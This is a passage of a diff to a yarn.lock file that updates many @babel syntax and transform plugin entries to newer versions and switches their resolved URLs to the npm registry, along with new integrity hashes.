-    "@babel/helper-plugin-utils" "^7.19.0"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-syntax-import-attributes@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.22.3.tgz#d7168f22b9b49a6cc1792cec78e06a18ad2e7b4b"
-  integrity sha512-i35jZJv6aO7hxEbIWQ41adVfOzjm9dcYDNeWlBMd8p0ZQRtNUCBrmGwZt+H5lb+oOC9a3svp956KP0oWGA1YsA==
+"@babel/plugin-syntax-import-attributes@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.npmjs.org/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.26.0.tgz"
+  integrity sha512-e2dttdsJ1ZTpi3B9UYGLw41hifAubg19AtCu/2I/F1QNVclOBr1dYpTdmdyZ84Xiz43BS/tCUkMAZNLv12Pi+A==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.21.5"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-syntax-import-meta@^7.10.4", "@babel/plugin-syntax-import-meta@^7.8.3":
+"@babel/plugin-syntax-import-meta@^7.8.3":
   version "7.10.4"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz#ee601348c370fa334d2207be158777496521fd51"
+  resolved "https://registry.npmjs.org/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz"
   integrity sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==
   dependencies:
     "@babel/helper-plugin-utils" "^7.10.4"
 
 "@babel/plugin-syntax-json-strings@^7.8.3":
   version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz#01ca21b668cd8218c9e640cb6dd88c5412b2c96a"
+  resolved "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz"
   integrity sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==
   dependencies:
     "@babel/helper-plugin-utils" "^7.8.0"
 
 "@babel/plugin-syntax-jsx@^7.0.0":
   version "7.21.4"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.21.4.tgz#f264ed7bf40ffc9ec239edabc17a50c4f5b6fea2"
+  resolved "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.21.4.tgz"
   integrity sha512-5hewiLct5OKyh6PLKEYaFclcqtIgCb6bmELouxjF6up5q3Sov7rOayW4RwhbaBL0dit8rA80GNfY+UuDp2mBbQ==
   dependencies:
     "@babel/helper-plugin-utils" "^7.20.2"
 
-"@babel/plugin-syntax-jsx@^7.18.6", "@babel/plugin-syntax-jsx@^7.7.2":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.18.6.tgz#a8feef63b010150abd97f1649ec296e849943ca0"
-  integrity sha512-6mmljtAedFGTWu2p/8WIORGwy+61PLgOMPOdazc7YoJ9ZCWUyFy3A6CpPkRKLKD1ToAesxX8KGEViAiLo9N+7Q==
+"@babel/plugin-syntax-jsx@^7.18.6", "@babel/plugin-syntax-jsx@^7.25.9", "@babel/plugin-syntax-jsx@^7.7.2":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.25.9.tgz"
+  integrity sha512-ld6oezHQMZsZfp6pWtbjaNDF2tiiCYYDqQszHt5VV437lewP9aSi2Of99CK0D0XB21k7FLgnLcmQKyKzynfeAA==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.18.6"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-syntax-logical-assignment-operators@^7.10.4", "@babel/plugin-syntax-logical-assignment-operators@^7.8.3":
+"@babel/plugin-syntax-jsx@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.27.1.tgz#2f9beb5eff30fa507c5532d107daac7b888fa34c"
+  integrity sha512-y8YTNIeKoyhGd9O0Jiyzyyqk8gdjnumGTQPsz0xOZOQ2RmkVJeZ1vmmfIvFEKqucBG6axJGBZDE/7iI5suUI/w==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.27.1"
+
+"@babel/plugin-syntax-logical-assignment-operators@^7.8.3":
   version "7.10.4"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz#ca91ef46303530448b906652bac2e9fe9941f699"
+  resolved "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz"
   integrity sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==
   dependencies:
     "@babel/helper-plugin-utils" "^7.10.4"
 
 "@babel/plugin-syntax-nullish-coalescing-operator@^7.0.0", "@babel/plugin-syntax-nullish-coalescing-operator@^7.8.3":
   version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz#167ed70368886081f74b5c36c65a88c03b66d1a9"
+  resolved "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz"
   integrity sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==
   dependencies:
     "@babel/helper-plugin-utils" "^7.8.0"
 
-"@babel/plugin-syntax-numeric-separator@^7.10.4", "@babel/plugin-syntax-numeric-separator@^7.2.0", "@babel/plugin-syntax-numeric-separator@^7.8.3":
+"@babel/plugin-syntax-numeric-separator@^7.2.0", "@babel/plugin-syntax-numeric-separator@^7.8.3":
   version "7.10.4"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz#b9b070b3e33570cd9fd07ba7fa91c0dd37b9af97"
+  resolved "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz"
   integrity sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==
   dependencies:
     "@babel/helper-plugin-utils" "^7.10.4"
 
 "@babel/plugin-syntax-object-rest-spread@^7.0.0", "@babel/plugin-syntax-object-rest-spread@^7.2.0", "@babel/plugin-syntax-object-rest-spread@^7.8.3":
   version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz#60e225edcbd98a640332a2e72dd3e66f1af55871"
+  resolved "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz"
   integrity sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==
   dependencies:
     "@babel/helper-plugin-utils" "^7.8.0"
 
 "@babel/plugin-syntax-optional-catch-binding@^7.0.0", "@babel/plugin-syntax-optional-catch-binding@^7.8.3":
   version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz#6111a265bcfb020eb9efd0fdfd7d26402b9ed6c1"
+  resolved "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz"
   integrity sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==
   dependencies:
     "@babel/helper-plugin-utils" "^7.8.0"
 
 "@babel/plugin-syntax-optional-chaining@^7.0.0", "@babel/plugin-syntax-optional-chaining@^7.8.3":
   version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz#4f69c2ab95167e0180cd5336613f8c5788f7d48a"
+  resolved "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz"
   integrity sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==
   dependencies:
     "@babel/helper-plugin-utils" "^7.8.0"
 
-"@babel/plugin-syntax-private-property-in-object@^7.14.5":
+"@babel/plugin-syntax-top-level-await@^7.8.3":
   version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz#0dc6671ec0ea22b6e94a1114f857970cd39de1ad"
-  integrity sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==
+  resolved "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz"
+  integrity sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==
   dependencies:
     "@babel/helper-plugin-utils" "^7.14.5"
 
-"@babel/plugin-syntax-top-level-await@^7.14.5", "@babel/plugin-syntax-top-level-await@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz#c1cfdadc35a646240001f06138247b741c34d94c"
-  integrity sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==
+"@babel/plugin-syntax-typescript@^7.18.6", "@babel/plugin-syntax-typescript@^7.25.9", "@babel/plugin-syntax-typescript@^7.7.2":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.25.9.tgz"
+  integrity sha512-hjMgRy5hb8uJJjUcdWunWVcoi9bGpJp8p5Ol1229PoN6aytsLwNMgmdftO23wnCLMfVmTwZDWMPNq/D1SY60JQ==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-syntax-typescript@^7.18.6", "@babel/plugin-syntax-typescript@^7.7.2":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.18.6.tgz#1c09cd25795c7c2b8a4ba9ae49394576d4133285"
-  integrity sha512-mAWAuq4rvOepWCBid55JuRNvpTNf2UGVgoz4JV0fXEKolsVZDzsa4NqCef758WZJj/GDu0gVGItjKFiClTAmZA==
+"@babel/plugin-syntax-typescript@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.27.1.tgz#5147d29066a793450f220c63fa3a9431b7e6dd18"
+  integrity sha512-xfYCBMxveHrRMnAWl1ZlPXOZjzkN82THFvLhQhFXFt81Z5HnN+EtUkZhv/zcKpmT3fzmWZB0ywiBrbC3vogbwQ==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.18.6"
+    "@babel/helper-plugin-utils" "^7.27.1"
 
 "@babel/plugin-syntax-unicode-sets-regex@^7.18.6":
   version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-unicode-sets-regex/-/plugin-syntax-unicode-sets-regex-7.18.6.tgz#d49a3b3e6b52e5be6740022317580234a6a47357"
+  resolved "https://registry.npmjs.org/@babel/plugin-syntax-unicode-sets-regex/-/plugin-syntax-unicode-sets-regex-7.18.6.tgz"
   integrity sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==
   dependencies:
     "@babel/helper-create-regexp-features-plugin" "^7.18.6"
     "@babel/helper-plugin-utils" "^7.18.6"
 
-"@babel/plugin-transform-arrow-functions@^7.21.5":
-  version "7.21.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.21.5.tgz#9bb42a53de447936a57ba256fbf537fc312b6929"
-  integrity sha512-wb1mhwGOCaXHDTcsRYMKF9e5bbMgqwxtqa2Y1ifH96dXJPwbuLX9qHy3clhrxVqgMz7nyNXs8VkxdH8UBcjKqA==
+"@babel/plugin-transform-arrow-functions@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.25.9.tgz"
+  integrity sha512-6jmooXYIwn9ca5/RylZADJ+EnSxVUS5sjeJ9UPk6RWRzXCmOJCy6dqItPJFpw2cuCangPK4OYr5uhGKcmrm5Qg==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.21.5"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-async-generator-functions@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-async-generator-functions/-/plugin-transform-async-generator-functions-7.22.3.tgz#3ed99924c354fb9e80dabb2cc8d002c702e94527"
-  integrity sha512-36A4Aq48t66btydbZd5Fk0/xJqbpg/v4QWI4AH4cYHBXy9Mu42UOupZpebKFiCFNT9S9rJFcsld0gsv0ayLjtA==
+"@babel/plugin-transform-async-generator-functions@^7.26.8":
+  version "7.26.8"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-async-generator-functions/-/plugin-transform-async-generator-functions-7.26.8.tgz"
+  integrity sha512-He9Ej2X7tNf2zdKMAGOsmg2MrFc+hfoAhd3po4cWfo/NWjzEAKa0oQruj1ROVUdl0e6fb6/kE/G3SSxE0lRJOg==
   dependencies:
-    "@babel/helper-environment-visitor" "^7.22.1"
-    "@babel/helper-plugin-utils" "^7.21.5"
-    "@babel/helper-remap-async-to-generator" "^7.18.9"
-    "@babel/plugin-syntax-async-generators" "^7.8.4"
+    "@babel/helper-plugin-utils" "^7.26.5"
+    "@babel/helper-remap-async-to-generator" "^7.25.9"
+    "@babel/traverse" "^7.26.8"
 
-"@babel/plugin-transform-async-to-generator@^7.20.7":
-  version "7.20.7"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.20.7.tgz#dfee18623c8cb31deb796aa3ca84dda9cea94354"
-  integrity sha512-Uo5gwHPT9vgnSXQxqGtpdufUiWp96gk7yiP4Mp5bm1QMkEmLXBO7PAGYbKoJ6DhAwiNkcHFBol/x5zZZkL/t0Q==
+"@babel/plugin-transform-async-to-generator@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.25.9.tgz"
+  integrity sha512-NT7Ejn7Z/LjUH0Gv5KsBCxh7BH3fbLTV0ptHvpeMvrt3cPThHfJfst9Wrb7S8EvJ7vRTFI7z+VAvFVEQn/m5zQ==
   dependencies:
-    "@babel/helper-module-imports" "^7.18.6"
-    "@babel/helper-plugin-utils" "^7.20.2"
-    "@babel/helper-remap-async-to-generator" "^7.18.9"
+    "@babel/helper-module-imports" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-remap-async-to-generator" "^7.25.9"
 
-"@babel/plugin-transform-block-scoped-functions@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.18.6.tgz#9187bf4ba302635b9d70d986ad70f038726216a8"
-  integrity sha512-ExUcOqpPWnliRcPqves5HJcJOvHvIIWfuS4sroBUenPuMdmW+SMHDakmtS7qOo13sVppmUijqeTv7qqGsvURpQ==
+"@babel/plugin-transform-block-scoped-functions@^7.26.5":
+  version "7.26.5"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.26.5.tgz"
+  integrity sha512-chuTSY+hq09+/f5lMj8ZSYgCFpppV2CbYrhNFJ1BFoXpiWPnnAb7R0MqrafCpN8E1+YRrtM1MXZHJdIx8B6rMQ==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.18.6"
+    "@babel/helper-plugin-utils" "^7.26.5"
 
 "@babel/plugin-transform-block-scoping@^7.18.9":
   version "7.18.9"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.18.9.tgz#f9b7e018ac3f373c81452d6ada8bd5a18928926d"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.18.9.tgz"
   integrity sha512-5sDIJRV1KtQVEbt/EIBwGy4T01uYIo4KRB3VUqzkhrAIOGx7AoctL9+Ux88btY0zXdDyPJ9mW+bg+v+XEkGmtw==
   dependencies:
     "@babel/helper-plugin-utils" "^7.18.9"
 
-"@babel/plugin-transform-block-scoping@^7.21.0":
-  version "7.21.0"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.21.0.tgz#e737b91037e5186ee16b76e7ae093358a5634f02"
-  integrity sha512-Mdrbunoh9SxwFZapeHVrwFmri16+oYotcZysSzhNIVDwIAb1UV+kvnxULSYq9J3/q5MDG+4X6w8QVgD1zhBXNQ==
+"@babel/plugin-transform-block-scoping@^7.25.9":
+  version "7.27.0"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.27.0.tgz"
+  integrity sha512-u1jGphZ8uDI2Pj/HJj6YQ6XQLZCNjOlprjxB5SVz6rq2T6SwAR+CdrWK0CP7F+9rDVMXdB0+r6Am5G5aobOjAQ==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.20.2"
+    "@babel/helper-plugin-utils" "^7.26.5"
 
-"@babel/plugin-transform-class-properties@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.22.3.tgz#3407145e513830df77f0cef828b8b231c166fe4c"
-  integrity sha512-mASLsd6rhOrLZ5F3WbCxkzl67mmOnqik0zrg5W6D/X0QMW7HtvnoL1dRARLKIbMP3vXwkwziuLesPqWVGIl6Bw==
+"@babel/plugin-transform-class-properties@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.25.9.tgz"
+  integrity sha512-bbMAII8GRSkcd0h0b4X+36GksxuheLFjP65ul9w6C3KgAamI3JqErNgSrosX6ZPj+Mpim5VvEbawXxJCyEUV3Q==
   dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.22.1"
-    "@babel/helper-plugin-utils" "^7.21.5"
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-class-static-block@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-class-static-block/-/plugin-transform-class-static-block-7.22.3.tgz#e352cf33567385c731a8f21192efeba760358773"
-  integrity sha512-5BirgNWNOx7cwbTJCOmKFJ1pZjwk5MUfMIwiBBvsirCJMZeQgs5pk6i1OlkVg+1Vef5LfBahFOrdCnAWvkVKMw==
+"@babel/plugin-transform-class-static-block@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-class-static-block/-/plugin-transform-class-static-block-7.26.0.tgz"
+  integrity sha512-6J2APTs7BDDm+UMqP1useWqhcRAXo0WIoVj26N7kPFB6S73Lgvyka4KTZYIxtgYXiN5HTyRObA72N2iu628iTQ==
   dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.22.1"
-    "@babel/helper-plugin-utils" "^7.21.5"
-    "@babel/plugin-syntax-class-static-block" "^7.14.5"
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-classes@^7.21.0":
-  version "7.21.0"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-classes/-/plugin-transform-classes-7.21.0.tgz#f469d0b07a4c5a7dbb21afad9e27e57b47031665"
-  integrity sha512-RZhbYTCEUAe6ntPehC4hlslPWosNHDox+vAs4On/mCLRLfoDVHf6hVEd7kuxr1RnHwJmxFfUM3cZiZRmPxJPXQ==
+"@babel/plugin-transform-classes@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.25.9.tgz"
+  integrity sha512-mD8APIXmseE7oZvZgGABDyM34GUmK45Um2TXiBUt7PnuAxrgoSVf123qUzPxEr/+/BHrRn5NMZCdE2m/1F8DGg==
   dependencies:
-    "@babel/helper-annotate-as-pure" "^7.18.6"
-    "@babel/helper-compilation-targets" "^7.20.7"
-    "@babel/helper-environment-visitor" "^7.18.9"
-    "@babel/helper-function-name" "^7.21.0"
-    "@babel/helper-optimise-call-expression" "^7.18.6"
-    "@babel/helper-plugin-utils" "^7.20.2"
-    "@babel/helper-replace-supers" "^7.20.7"
-    "@babel/helper-split-export-declaration" "^7.18.6"
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-compilation-targets" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-replace-supers" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
     globals "^11.1.0"
 
-"@babel/plugin-transform-computed-properties@^7.21.5":
-  version "7.21.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.21.5.tgz#3a2d8bb771cd2ef1cd736435f6552fe502e11b44"
-  integrity sha512-TR653Ki3pAwxBxUe8srfF3e4Pe3FTA46uaNHYyQwIoM4oWKSoOZiDNyHJ0oIoDIUPSRQbQG7jzgVBX3FPVne1Q==
+"@babel/plugin-transform-computed-properties@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.25.9.tgz"
+  integrity sha512-HnBegGqXZR12xbcTHlJ9HGxw1OniltT26J5YpfruGqtUHlz/xKf/G2ak9e+t0rVqrjXa9WOhvYPz1ERfMj23AA==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.21.5"
-    "@babel/template" "^7.20.7"
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/template" "^7.25.9"
 
-"@babel/plugin-transform-destructuring@^7.21.3":
-  version "7.21.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.21.3.tgz#73b46d0fd11cd6ef57dea8a381b1215f4959d401"
-  integrity sha512-bp6hwMFzuiE4HqYEyoGJ/V2LeIWn+hLVKc4pnj++E5XQptwhtcGmSayM029d/j2X1bPKGTlsyPwAubuU22KhMA==
+"@babel/plugin-transform-destructuring@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.25.9.tgz"
+  integrity sha512-WkCGb/3ZxXepmMiX101nnGiU+1CAdut8oHyEOHxkKuS1qKpU2SMXE2uSvfz8PBuLd49V6LEsbtyPhWC7fnkgvQ==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.20.2"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-dotall-regex@^7.18.6", "@babel/plugin-transform-dotall-regex@^7.4.4":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.18.6.tgz#b286b3e7aae6c7b861e45bed0a2fafd6b1a4fef8"
-  integrity sha512-6S3jpun1eEbAxq7TdjLotAsl4WpQI9DxfkycRcKrjhQYzU87qpXdknpBg/e+TdcMehqGnLFi7tnFUBR02Vq6wg==
+"@babel/plugin-transform-dotall-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.25.9.tgz"
+  integrity sha512-t7ZQ7g5trIgSRYhI9pIJtRl64KHotutUJsh4Eze5l7olJv+mRSg4/MmbZ0tv1eeqRbdvo/+trvJD/Oc5DmW2cA==
   dependencies:
-    "@babel/helper-create-regexp-features-plugin" "^7.18.6"
-    "@babel/helper-plugin-utils" "^7.18.6"
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-duplicate-keys@^7.18.9":
-  version "7.18.9"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.18.9.tgz#687f15ee3cdad6d85191eb2a372c4528eaa0ae0e"
-  integrity sha512-d2bmXCtZXYc59/0SanQKbiWINadaJXqtvIQIzd4+hNwkWBgyCd5F/2t1kXoUdvPMrxzPvhK6EMQRROxsue+mfw==
+"@babel/plugin-transform-duplicate-keys@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.25.9.tgz"
+  integrity sha512-LZxhJ6dvBb/f3x8xwWIuyiAHy56nrRG3PeYTpBkkzkYRRQ6tJLu68lEF5VIqMUZiAV7a8+Tb78nEoMCMcqjXBw==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.18.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-dynamic-import@^7.22.1":
-  version "7.22.1"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-dynamic-import/-/plugin-transform-dynamic-import-7.22.1.tgz#6c56afaf896a07026330cf39714532abed8d9ed1"
-  integrity sha512-rlhWtONnVBPdmt+jeewS0qSnMz/3yLFrqAP8hHC6EDcrYRSyuz9f9yQhHvVn2Ad6+yO9fHXac5piudeYrInxwQ==
+"@babel/plugin-transform-duplicate-named-capturing-groups-regex@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-duplicate-named-capturing-groups-regex/-/plugin-transform-duplicate-named-capturing-groups-regex-7.25.9.tgz"
+  integrity sha512-0UfuJS0EsXbRvKnwcLjFtJy/Sxc5J5jhLHnFhy7u4zih97Hz6tJkLU+O+FMMrNZrosUPxDi6sYxJ/EA8jDiAog==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.21.5"
-    "@babel/plugin-syntax-dynamic-import" "^7.8.3"
+    "@babel/helper-create-regexp-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-exponentiation-operator@^7.18.6":
-  version "7.18.6"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.18.6.tgz#421c705f4521888c65e91fdd1af951bfefd4dacd"
-  integrity sha512-wzEtc0+2c88FVR34aQmiz56dxEkxr2g8DQb/KfaFa1JYXOFVsbhvAonFN6PwVWj++fKmku8NP80plJ5Et4wqHw==
+"@babel/plugin-transform-dynamic-import@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-dynamic-import/-/plugin-transform-dynamic-import-7.25.9.tgz"
+  integrity sha512-GCggjexbmSLaFhqsojeugBpeaRIgWNTcgKVq/0qIteFEqY2A+b9QidYadrWlnbWQUrW5fn+mCvf3tr7OeBFTyg==
   dependencies:
-    "@babel/helper-builder-binary-assignment-operator-visitor" "^7.18.6"
-    "@babel/helper-plugin-utils" "^7.18.6"
+    "@babel/helper-plugin-utils" "^7.25.9"
 
-"@babel/plugin-transform-export-namespace-from@^7.22.3":
-  version "7.22.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-export-namespace-from/-/plugin-transform-export-namespace-from-7.22.3.tgz#9b8700aa495007d3bebac8358d1c562434b680b9"
-  integrity sha512-5Ti1cHLTDnt3vX61P9KZ5IG09bFXp4cDVFJIAeCZuxu9OXXJJZp5iP0n/rzM2+iAutJY+KWEyyHcRaHlpQ/P5g==
+"@babel/plugin-transform-exponentiation-operator@^7.26.3":
+  version "7.26.3"
+  resolved "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.26.3.tgz"
+  integrity sha512-7CAHcQ58z2chuXPWblnn1K6rLDnDWieghSOEmqQsrBenH0P9InCUtOJYD89pvngljmZlJcz3fcmgYsXFNGa1ZQ==
   dependencies:
-    "@babel/helper-plugin-utils" "^7.21.5"
-    "@babel/plugin-syntax-export-namespace-from" "^7.8.3"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-export-namespace-from@^7.25.9":
